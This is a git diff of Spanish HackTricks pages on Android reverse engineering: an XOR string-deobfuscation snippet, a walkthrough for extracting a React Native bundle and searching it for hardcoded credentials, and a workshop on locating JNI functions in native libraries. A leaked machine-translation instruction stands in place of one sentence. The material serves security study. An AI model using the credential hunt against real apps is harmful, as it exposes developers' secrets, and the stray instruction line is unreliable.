enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"
|
||||
|
||||
length = len(enc_str)
|
||||
count = 0
|
||||
dec_str = [0] * (length/2)
|
||||
while (count < length):
|
||||
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
|
||||
count += 2
|
||||
print dec_str
|
||||
|
||||
|
||||
key = [75, 67, 81, 82, 49, 57, 84, 90]
|
||||
enc_str = dec_str
|
||||
count = 0
|
||||
length = len(enc_str)
|
||||
while (count < length):
|
||||
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
|
||||
count += 1
|
||||
print ''.join(dec_str)
|
||||
```
|
||||
## Más ejemplos <a href="more-examples" id="more-examples"></a>
|
||||
|
||||
He dado algunas charlas sobre la desofuscación de aplicaciones de Android que incluyen una variedad de mecanismos de ofuscación. En estas charlas, discuto las técnicas avanzadas de ofuscación, mi solución para desofuscarlas, y las consideraciones y decisiones que tomé al decidir cómo quería desofuscar.
|
||||
|
||||
* BlackHat USA 2018: "Desempaquetando el Desempaquetador Empaquetado: Ingeniería Inversa de una Biblioteca Anti-Análisis de Android" \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* Esta charla trata sobre la ingeniería inversa de una de las bibliotecas nativas de anti-análisis más complejas que he visto utilizadas por una aplicación de Android. Cubre principalmente técnicas de ofuscación en código nativo.
|
||||
* REcon 2019: "El camino hacia la carga útil: Edición de Android" \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* Esta charla discute una serie de técnicas de ofuscación, únicamente en código Java, que una botnet de Android estaba utilizando para ocultar su comportamiento.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,71 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Información copiada de** [**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||
|
||||
React Native es un **marco de aplicación móvil** que se utiliza principalmente para desarrollar aplicaciones para **Android** e **iOS** al permitir el uso de React y las capacidades de la plataforma nativa. En estos días, se ha vuelto cada vez más popular usar React en todas las plataformas.\
|
||||
Pero la mayor parte del tiempo, la lógica principal de la aplicación se encuentra en el **JavaScript de React Native que se puede obtener** sin necesidad de usar dex2jar.
|
||||
|
||||
## **Paso 1**: Confirmemos si la aplicación se construyó en el marco de React Native.
|
||||
|
||||
Para comprobar esto, renombra el APK con la extensión zip y luego extrae el APK a una nueva carpeta usando el siguiente comando.
|
||||
```
|
||||
cp com.example.apk example-apk.zip
|
||||
unzip -qq example-apk.zip -d ReactNative
|
||||
```
|
||||
Navegue hasta la carpeta `ReactNative` recién creada y encuentre la carpeta `assets`. Dentro de esta carpeta, debería contener `index.android.bundle`. Este archivo contendrá todo el código JavaScript de React en un formato **minificado**. Ingeniería inversa de React Native
|
||||
```bash
|
||||
find . -print | grep -i ".bundle$"
|
||||
```
|
||||
![Imagen para el post](https://miro.medium.com/max/1559/1\*enjF2H7PclRAIcNCxDIOJw.png)
|
||||
|
||||
## **Paso 2**: Crear un archivo llamado `index.html` en el mismo directorio con el siguiente código.
|
||||
|
||||
Puedes subir el archivo a [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) o continuar con los siguientes pasos:
|
||||
```markup
|
||||
<script src="./index.android.bundle"></script>
|
||||
```
|
||||
![Imagen para publicación](https://miro.medium.com/max/1526/1\*Qrg2jrXF8UxwbbRJJVWmRw.png)
|
||||
|
||||
Abre el archivo **index.html** en **Google Chrome**. Abre la barra de herramientas de desarrollador (**Command+Option+J para OS X o Control+Shift+J para Windows**), y haz clic en "Sources". Deberías ver un archivo JavaScript, dividido en carpetas y archivos que conforman el paquete principal.
|
||||
|
||||
> Si puedes encontrar un archivo llamado `index.android.bundle.map`, podrás analizar el código fuente en un formato no minimizado. Los archivos `map` contienen el mapeo de origen que te permite mapear identificadores minimizados.
|
||||
|
||||
## **Paso 3**: busca credenciales y puntos finales sensibles
|
||||
|
||||
En esta fase, debes identificar las **palabras clave sensibles** para analizar el código **Javascript**. Un patrón popular en las aplicaciones React Native es el uso de servicios de terceros como Firebase, puntos finales de servicios AWS s3, claves privadas, etc.
|
||||
|
||||
Durante mi proceso de **reconocimiento inicial**, he observado que la aplicación utiliza el servicio Dialogflow. Por lo tanto, basándome en esto, he buscado un patrón relacionado con su configuración. Afortunadamente, pude encontrar **credenciales sensibles codificadas en el código Javascript**.
|
||||
|
||||
![Imagen para publicación](https://miro.medium.com/max/2086/1\*RAToFnqpp9ndM0lBeMlz6g.png)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,214 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Información copiada de** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)** (puedes encontrar soluciones allí)**
|
||||
|
||||
Las aplicaciones de Android pueden contener bibliotecas nativas compiladas. Las bibliotecas nativas son código que el desarrollador escribió y luego compiló para una arquitectura de computadora específica. Con mayor frecuencia, esto significa código que está escrito en C o C++. Las razones benignas o legítimas por las que un desarrollador puede hacer esto son para operaciones matemáticamente intensivas o sensibles al tiempo, como bibliotecas de gráficos. Los desarrolladores de malware han comenzado a moverse hacia el código nativo porque la ingeniería inversa de binarios compilados tiende a ser un conjunto de habilidades menos común que el análisis de bytecode DEX. Esto se debe en gran parte a que el bytecode DEX se puede descompilar a Java, mientras que el código nativo compilado a menudo debe analizarse como ensamblaje.
|
||||
|
||||
## Objetivo
|
||||
|
||||
El objetivo de esta sección no es enseñarte ensamblador (ASM) o cómo revertir el código compilado de manera más general, sino cómo aplicar las habilidades de ingeniería inversa de binarios más generales, específicamente a Android. Debido a que el objetivo de este taller no es enseñarte las arquitecturas ASM, todos los ejercicios incluirán una versión ARM _y_ una versión x86 de la biblioteca que se analizará para que cada persona pueda elegir la arquitectura con la que se sienta más cómoda.
|
||||
|
||||
### Aprendiendo ensamblador ARM <a href="learning-arm-assembly" id="learning-arm-assembly"></a>
|
||||
|
||||
Si no tienes experiencia previa en ingeniería inversa de binarios/ensamblador, aquí hay algunos recursos sugeridos. La mayoría de los dispositivos Android funcionan con ARM, pero todos los ejercicios en este taller también incluyen una versión x86 de la biblioteca.
|
||||
|
||||
Para aprender y/o revisar el ensamblador ARM, sugiero encarecidamente los [conceptos básicos del ensamblador ARM](https://azeria-labs.com/writing-arm-assembly-part-1/) de [Azeria Labs](https://azeria-labs.com).
|
||||
|
||||
## Introducción a la Interfaz Nativa de Java (JNI) <a href="introduction-to-the-java-native-interface-jni" id="introduction-to-the-java-native-interface-jni"></a>
|
||||
|
||||
La Interfaz Nativa de Java (JNI) permite a los desarrolladores declarar métodos de Java que se implementan en código nativo (generalmente compilado en C/C++). La interfaz JNI no es específica de Android, pero está disponible de manera más general para aplicaciones de Java que se ejecutan en diferentes plataformas.
|
||||
|
||||
El Kit de Desarrollo Nativo de Android (NDK) es el conjunto de herramientas específico de Android en la parte superior de JNI. Según la [documentación](https://developer.android.com/ndk/guides):
|
||||
|
||||
> En Android, el Kit de Desarrollo Nativo (NDK) es un conjunto de herramientas que permite a los desarrolladores escribir código C y C++ para sus aplicaciones de Android.
|
||||
|
||||
Juntos, JNI y NDK permiten a los desarrolladores de Android implementar parte de la funcionalidad de su aplicación en código nativo. El código Java (o Kotlin) llamará a un método nativo declarado en Java que está implementado en la biblioteca nativa compilada.
|
||||
|
||||
### Referencias <a href="references" id="references"></a>
|
||||
|
||||
**Documentación de Oracle JNI**
|
||||
|
||||
* [Especificación JNI](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
|
||||
* [Funciones JNI](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html) <– Siempre tengo esta abierta y me refiero a ella mientras revierto bibliotecas nativas de Android
|
||||
|
||||
**Referencias de JNI y NDK de Android**
|
||||
|
||||
* [Consejos de JNI de Android](https://developer.android.com/training/articles/perf-jni) <– Recomiendo leer la sección "Bibliotecas nativas" para empezar
|
||||
* [Introducción al NDK](https://developer.android.com/ndk/guides/) <– Esta es una guía para que los desarrolladores desarrollen bibliotecas nativas y entender cómo se construyen las cosas, lo que hace que sea más fácil revertir.
|
||||
|
||||
## Objetivo de análisis - Bibliotecas nativas de Android <a href="target-of-analysis---android-native-libraries" id="target-of-analysis---android-native-libraries"></a>
|
||||
|
||||
Para esta sección, nos enfocamos en cómo revertir la funcionalidad de la aplicación que se ha implementado en bibliotecas nativas de Android. Cuando decimos bibliotecas nativas de Android, ¿a qué nos referimos?
|
||||
|
||||
Las bibliotecas nativas de Android se incluyen en los APK como bibliotecas de objetos compartidos `.so`, en el formato de archivo ELF. Si has analizado binarios de Linux anteriormente, es el mismo formato.
|
||||
|
||||
Estas bibliotecas por defecto se incluyen en el APK en la ruta de archivo `/lib/<cpu>/lib<name>.so`. Esta es la ruta predeterminada, pero los desarrolladores también podrían elegir incluir la biblioteca nativa en `/assets/<custom_name>` si así lo desean. Con mayor frecuencia, estamos viendo que los desarrolladores de malware eligen incluir bibliotecas nativas en rutas distintas a `/lib` y usando diferentes extensiones de archivo para intentar "ocultar" la presencia de la biblioteca nativa.
|
||||
|
||||
Debido a que el código nativo se compila para CPUs específicas, si un desarrollador quiere que su aplicación se ejecute en más de un tipo de hardware, debe incluir cada una de esas versiones de la biblioteca nativa compilada en la aplicación. La ruta predeterminada mencionada anteriormente incluye un directorio para cada tipo de CPU oficialmente compatible con Android.
|
||||
|
||||
| CPU | Ruta de la biblioteca nativa |
|
||||
| -------------------- | ---------------------------- |
|
||||
| ARM genérico de 32 bits | `lib/armeabi/libcalc.so` |
|
||||
| x86 | `lib/x86/libcalc.so` |
|
||||
| x64 | `lib/x86_64/libcalc.so` |
|
||||
| ARMv7 | `lib/armeabi-v7a/libcalc.so` |
|
||||
| ARM64 | `lib/arm64-v8a/libcalc.so` |
|
||||
|
||||
## Cargando la biblioteca <a href="loading-the-library" id="loading-the-library"></a>
|
||||
|
||||
Antes de que una aplicación de Android pueda llamar y ejecutar cualquier código que se implemente en una biblioteca nativa, la aplicación (código Java) debe cargar la biblioteca en memoria. Hay dos llamadas de API diferentes que harán esto:
|
||||
```
|
||||
System.loadLibrary("calc")
|
||||
```
|
||||
El siguiente contenido es de un libro de hacking sobre técnicas de hacking de plataformas en la nube, SaaS, CI/CD... El contenido siguiente es del archivo /hive/hacktricks/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo la sintaxis de markdown. No traduzca cosas como código, nombres de técnicas de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak' y las etiquetas de markdown. Además, no agregue nada aparte de la traducción y la sintaxis de markdown.
|
||||
```
|
||||
System.load("lib/armeabi/libcalc.so")
|
||||
```
|
||||
La diferencia entre las dos llamadas de API es que `loadLibrary` solo toma el nombre corto de la biblioteca como argumento (es decir, libcalc.so = "calc" y libinit.so = "init") y el sistema determinará correctamente la arquitectura en la que se está ejecutando y, por lo tanto, el archivo correcto a utilizar. Por otro lado, `load` requiere la ruta completa de la biblioteca. Esto significa que el desarrollador de la aplicación debe determinar la arquitectura y, por lo tanto, el archivo de biblioteca correcto para cargar.
|
||||
|
||||
Cuando se llama a cualquiera de estos dos API (`loadLibrary` o `load`) desde el código Java, la biblioteca nativa que se pasa como argumento ejecuta su `JNI_OnLoad` si se implementó en la biblioteca nativa.
|
||||
|
||||
Para reiterar, antes de ejecutar cualquier método nativo, la biblioteca nativa debe cargarse llamando a `System.loadLibrary` o `System.load` en el código Java. Cuando se ejecuta cualquiera de estas 2 API, también se ejecuta la función `JNI_OnLoad` en la biblioteca nativa.
|
||||
|
||||
## La conexión de código Java a código nativo <a href="the-java-to-native-code-connection" id="the-java-to-native-code-connection"></a>
|
||||
|
||||
Para ejecutar una función de la biblioteca nativa, debe haber un método nativo declarado en Java que el código Java pueda llamar. Cuando se llama a este método nativo declarado en Java, se ejecuta la función "asociada" de la biblioteca nativa (ELF/.so).
|
||||
|
||||
Un método nativo declarado en Java aparece en el código Java como se muestra a continuación. Aparece como cualquier otro método de Java, excepto que incluye la palabra clave `native` y no tiene código en su implementación, porque su código está en realidad en la biblioteca nativa compilada.
|
||||
```
|
||||
public native String doThingsInNativeLibrary(int var0);
|
||||
```
|
||||
Para llamar a este método nativo, el código Java lo llamaría como cualquier otro método Java. Sin embargo, en el backend, JNI y NDK ejecutarían en su lugar la función correspondiente en la biblioteca nativa. Para hacer esto, debe conocer la asociación entre un método nativo declarado en Java con una función en la biblioteca nativa.
|
||||
|
||||
Existen 2 formas diferentes de hacer esta asociación o enlace:
|
||||
|
||||
1. Enlace dinámico utilizando la resolución de nombres de método nativo JNI, o
|
||||
2. Enlace estático utilizando la llamada de API `RegisterNatives`
|
||||
|
||||
### Enlace dinámico <a href="dynamic-linking" id="dynamic-linking"></a>
|
||||
|
||||
Para enlazar o asociar dinámicamente el método nativo declarado en Java y la función en la biblioteca nativa, el desarrollador nombra el método y la función de acuerdo con las especificaciones para que el sistema JNI pueda hacer la vinculación dinámica.
|
||||
|
||||
Según las especificaciones, el desarrollador nombraría la función de la siguiente manera para que el sistema pueda vincular dinámicamente el método nativo y la función. Un nombre de método nativo se concatena a partir de los siguientes componentes:
|
||||
|
||||
1. el prefijo Java\_
|
||||
2. un nombre de clase completo mangleado
|
||||
3. un separador de guión bajo (“\_”)
|
||||
4. un nombre de método mangleado
|
||||
5. para métodos nativos sobrecargados, dos guiones bajos (“\__”) seguidos de la firma de argumento mangleada
|
||||
|
||||
Para hacer el enlace dinámico para el método nativo declarado en Java a continuación y digamos que está en la clase `com.android.interesting.Stuff`
|
||||
```
|
||||
public native String doThingsInNativeLibrary(int var0);
|
||||
```
|
||||
La función en la biblioteca nativa debería tener el nombre:
|
||||
```
|
||||
Java_com_android_interesting_Stuff_doThingsInNativeLibrary
|
||||
```
|
||||
Si no hay una función en la biblioteca nativa con ese nombre, eso significa que la aplicación debe estar haciendo enlace estático.
|
||||
|
||||
### Enlace estático <a href="static-linking" id="static-linking"></a>
|
||||
|
||||
Si el desarrollador no quiere o no puede nombrar las funciones nativas de acuerdo con la especificación (por ejemplo, quiere eliminar los símbolos de depuración), entonces debe usar el enlace estático con la API `RegisterNatives` ([doc](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html#wp5833)) para hacer la asociación entre el método nativo declarado en Java y la función en la biblioteca nativa. La función `RegisterNatives` se llama desde el código nativo, no desde el código Java, y se llama con mayor frecuencia en la función `JNI_OnLoad`, ya que `RegisterNatives` debe ejecutarse antes de llamar al método nativo declarado en Java.
|
||||
```
|
||||
jint RegisterNatives(JNIEnv *env, jclass clazz, const JNINativeMethod *methods, jint nMethods);
|
||||
|
||||
typedef struct {
|
||||
char *name;
|
||||
char *signature;
|
||||
void *fnPtr;
|
||||
} JNINativeMethod;
|
||||
```
|
||||
Cuando se realiza ingeniería inversa, si la aplicación utiliza el método de enlace estático, nosotros como analistas podemos encontrar la estructura `JNINativeMethod` que se está pasando a `RegisterNatives` para determinar qué subrutina en la biblioteca nativa se ejecuta cuando se llama al método nativo declarado en Java.
|
||||
|
||||
La estructura `JNINativeMethod` requiere una cadena con el nombre del método nativo declarado en Java y una cadena con la firma del método, por lo que deberíamos poder encontrar estas en nuestra biblioteca nativa.
|
||||
|
||||
**Firma del Método**
|
||||
|
||||
La estructura `JNINativeMethod` requiere la firma del método. Una firma del método indica los tipos de los argumentos que toma el método y el tipo de lo que devuelve. Este enlace documenta [Firmas de Tipo JNI](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/types.html) en la sección "Firmas de Tipo".
|
||||
|
||||
* Z: booleano
|
||||
* B: byte
|
||||
* C: char
|
||||
* S: short
|
||||
* I: int
|
||||
* J: long
|
||||
* F: flotante
|
||||
* D: doble
|
||||
* L fully-qualified-class ; :clase completamente calificada
|
||||
* \[ type: type\[]: tipo de matriz
|
||||
* ( arg-types ) ret-type: tipo de método
|
||||
* V: vacío
|
||||
|
||||
Para el método nativo.
|
||||
```
|
||||
public native String doThingsInNativeLibrary(int var0);
|
||||
```
|
||||
La firma de tipo es
|
||||
```
|
||||
(I)Ljava/lang/String;
|
||||
```
|
||||
Aquí hay otro ejemplo de un método nativo y su firma. Para lo siguiente es la declaración del método.
|
||||
```
|
||||
public native long f (int n, String s, int[] arr);
|
||||
```
|
||||
Tiene la firma de tipo:
|
||||
```
|
||||
(ILjava/lang/String;[I)J
|
||||
```
|
||||
### Ejercicio #5 - Encontrar la dirección de la función nativa <a href="exercise-5---find-the-address-of-the-native-function" id="exercise-5---find-the-address-of-the-native-function"></a>
|
||||
|
||||
En el Ejercicio #5 vamos a aprender a cargar bibliotecas nativas en un desensamblador e identificar la función nativa que se ejecuta cuando se llama a un método nativo. Para este ejercicio en particular, el objetivo no es ingeniería inversa del método nativo, solo encontrar el enlace entre la llamada al método nativo en Java y la función que se ejecuta en la biblioteca nativa. Para este ejercicio, usaremos la muestra Mediacode.apk. Esta muestra está disponible en `~/samples/Mediacode.apk` en la VM. Su hash SHA256 es a496b36cda66aaf24340941da8034bd53940d1b08d83a97f17a65ae144ebf91a.
|
||||
|
||||
**Objetivo**
|
||||
|
||||
El objetivo de este ejercicio es:
|
||||
|
||||
1. Identificar los métodos nativos declarados en el bytecode DEX
|
||||
2. Determinar qué bibliotecas nativas se cargan (y, por lo tanto, dónde se pueden implementar los métodos nativos)
|
||||
3. Extraer la biblioteca nativa del APK
|
||||
4. Cargar la biblioteca nativa en un desensamblador
|
||||
5. Identificar la dirección (o nombre) de la función en la biblioteca nativa que se ejecuta cuando se llama al método nativo
|
||||
|
||||
**Instrucciones**
|
||||
|
||||
1. Abra Mediacode.apk en jadx. Consulte el [Ejercicio #1](https://maddiestone.github.io/AndroidAppRE/reversing_intro.html#exercise-1---beginning-re-with-jadx) para obtener más información.
|
||||
2. Esta vez, si expande la pestaña Recursos, verá que este APK tiene un directorio `lib/`. Las bibliotecas nativas para este APK están en las rutas de CPU predeterminadas.
|
||||
3. Ahora necesitamos identificar cualquier método nativo declarado. En jadx, busque y liste todos los métodos nativos declarados. Debería haber dos.
|
||||
4. Alrededor del método nativo declarado, vea si hay algún lugar donde se cargue una biblioteca nativa. Esto proporcionará orientación sobre en qué biblioteca nativa buscar la función a implementar.
|
||||
5. Extraiga la biblioteca nativa del APK creando un nuevo directorio y copiando el APK en esa carpeta. Luego ejecute el comando `unzip Mediacode.APK`. Verá todos los archivos extraídos del APK, que incluyen el directorio `lib/`.
|
||||
6. Seleccione la arquitectura de la biblioteca nativa que desea analizar.
|
||||
7. Inicie ghidra ejecutando `ghidraRun`. Esto abrirá Ghidra.
|
||||
8. Para abrir la biblioteca nativa para su análisis, seleccione "Nuevo proyecto", "Proyecto no compartido", seleccione una ruta para guardar el proyecto y asígnele un nombre. Esto crea un proyecto en el que puede cargar archivos binarios.
|
||||
9. Una vez que haya creado su proyecto, seleccione el icono del dragón para abrir el navegador de código. Vaya a "Archivo" > "Importar archivo" para cargar la biblioteca nativa en la herramienta. Puede dejar todos los valores predeterminados.
|
||||
10. Verá la siguiente pantalla. Seleccione "Analizar".
|
||||
11. Usando la información de enlace anterior, identifique la función en la biblioteca nativa que se ejecuta cuando se llama al método nativo declarado en Java.
|
||||
|
||||
![Cargando archivo en el navegador de código Ghidra](https://maddiestone.github.io/AndroidAppRE/images/loadingIntoGhidra.png)
|
||||
|
||||
![Captura de pantalla de Mediacode abierta en jadx](https://maddiestone.github.io/AndroidAppRE/images/Mediacode.InJadx.png)
|
||||
|
||||
**Solución**
|
||||
|
||||
## Reversión de código de bibliotecas nativas de Android - JNIEnv <a href="reversing-android-native-libraries-code---jnienv" id="reversing-android-native-libraries-code---jnienv"></a>
|
||||
|
||||
Al comenzar a realizar ingeniería inversa de bibliotecas nativas de Android, una de las cosas que no sabía que necesitaba saber era sobre `JNIEnv`. `JNIEnv` es una estructura de punteros de función a [Funciones JNI](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html). Cada función JNI en bibliotecas nativas de Android toma `JNIEnv*` como primer argumento.
|
||||
|
||||
Desde la documentación de Android [JNI Tips](https://developer.android.com/training/articles/perf-jni):
|
||||
|
||||
> Las declaraciones C de JNIEnv y JavaVM son diferentes de las declaraciones C++. El archivo de inclusión "jni.h" proporciona diferentes typedefs dependiendo de si se incluye en C o C++. Por esta razón, es una mala idea incluir argumentos JNIEnv en archivos de encabezado incluidos por ambos idiomas. (Dicho de otra manera: si su archivo de encabezado requiere #ifdef \__cplusplus, es posible que deba hacer un trabajo adicional
|
184
mobile-pentesting/android-app-pentesting/smali-changes.md
Normal file
184
mobile-pentesting/android-app-pentesting/smali-changes.md
Normal file
|
@ -0,0 +1,184 @@
|
|||
# Smali - Decompilando/\[Modificando]/Compilando
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
